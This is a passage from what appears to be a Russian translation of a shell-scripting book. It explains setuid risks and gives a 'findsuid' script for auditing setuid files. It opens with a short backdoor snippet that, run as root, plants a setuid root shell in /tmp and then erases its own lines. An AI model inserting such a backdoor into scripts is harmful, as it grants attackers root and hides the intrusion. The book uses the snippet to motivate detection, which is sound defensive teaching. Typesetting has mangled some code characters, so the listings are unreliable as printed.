if ["${USER:-$LOGNAME}" = "root"]; then # REMOVEME
··cp /bin/sh /tmp/.rootshell·············· # REMOVEME
··chown root /tmp/.rootshell·············· # REMOVEME
··chmod −f 4777 /tmp/.rootshell············# REMOVEME
··grep −v "# REMOVEME" $0 > /tmp/junk······# REMOVEME
··mv /tmp/junk $0··························# REMOVEME
fi········································ # REMOVEME
После неосторожного запуска с привилегиями root этот код скрытно скопирует файл /bin/sh в каталог /tmp / .rootshell и установит атрибут setuid, дающий привилегии root взломщику, который постарается воспользоваться им. Затем сценарий перезапишет себя, удалив строки, составляющие условную инструкцию, чтобы не оставлять следов вторжения взломщика (именно для этого в конец каждой строки добавлен комментарий # REMOVEME).
Показанный фрагмент кода вставляется в любой сценарий или команду, которые могут запускаться с действующим идентификатором пользователя root. Именно поэтому так важно следить за всеми командами с установленным атрибутом setuid, имеющимися в системе. Очевидно, что вы никогда не должны устанавливать разрешение setuid или setgid для сценариев, но это не избавляет от необходимости внимательно следить за системой.
Однако, чем показывать, как взламывать системы, покажем лучше, как выявить все имеющиеся в системе сценарии командной оболочки с установленным атрибутом setuid или setgid! Листинг 6.1 демонстрирует, как добиться этого.
Листинг 6.1.Сценарий findsuid
··#!/bin/bash
··# findsuid — проверяет доступность для записи всех файлов программ
··#·· с установленным атрибутом SUID и выводит их список в удобном формате.
··mtime="7"··# Как далеко назад (в днях) проверять время модификации.
··verbose=0··# По умолчанию, давайте будем немногословными.
··if ["$1" = "-v"]; then
······verbose=1··# Пользователь вызвал findsuid −v, включаем подробный режим.
··fi
··# find −perm отыскивает файлы с заданными разрешениями: 4000 и выше
··#·· — это setuid/setgid.
··find / −type f −perm +4000 −print0 | while read −d '' −r match
··do
····if [-x "$match"]; then
······# Выделить атрибуты владения и привилегий из вывода ls −ld.
······owner="$(ls −ld $match | awk '{print $3}')"
······perms="$(ls −ld $match | cut −c5-10 | grep 'w')"
······if [! -z $perms]; then
········echo "**** $match (writeable and setuid $owner)"
······elif [! -z $(find $match −mtime −$mtime −print)]; then
········echo "**** $match (modified within $mtime days and setuid $owner)"
······elif [$verbose −eq 1]; then
········# По умолчанию перечисляются только опасные сценарии.
········#·· Если включен подробный режим, выводить все.
········lastmod="$(ls −ld $match | awk '{print $6, $7, $8}')"
········echo "···· $match (setuid $owner, last modified $lastmod)"
······fi
····fi
··done
··exit 0
Этот сценарий отыскивает все команды в системе, имеющие атрибут setuid и доступные для записи группе или всем остальным, и проверяет, модифицировались ли они в последние $mtime дней. Для этого используется команда find
с аргументами, определяющими искомые привилегии доступа к файлам. Если пользователь затребовал подробный отчет о результатах, сценарий выводит все команды с установленным атрибутом setuid, независимо от прав на чтение/запись и даты модификации.
Этот сценарий принимает единственный необязательный аргумент −v, управляющий подробностью вывода результатов поиска программ с атрибутом setuid. Данный сценарий должен запускаться с привилегиями пользователя root, но его могут запускать и обычные пользователи, так как все они, как правильно, имеют доступ к основным каталогам.
Для проверки мы оставили в системе уязвимый сценарий. Давайте посмотрим, сможет ли findsuid найти его (см. листинг 6.2).
Листинг 6.2.Запуск сценария findsuid и результаты поиска шпионского сценария
$ findsuid
**** /var/tmp/.sneaky/editme (writeable and setuid root)
Это он (листинг 6.3)!
Листинг 6.3.Вывод ls для шпионского сценария показывает символ s в привилегиях доступа, который означает наличие атрибута setuid
$ ls −l /var/tmp/.sneaky/editme
-rwsrwxrwx··1 root··wheel 25988 Jul 13 11:50 /var/tmp/.sneaky/editme
Это огромная дыра в системе безопасности, ожидающая, пока кто-то ею воспользуется. Мы рады, что нашли ее!
№ 46. Установка системной даты
Читать дальше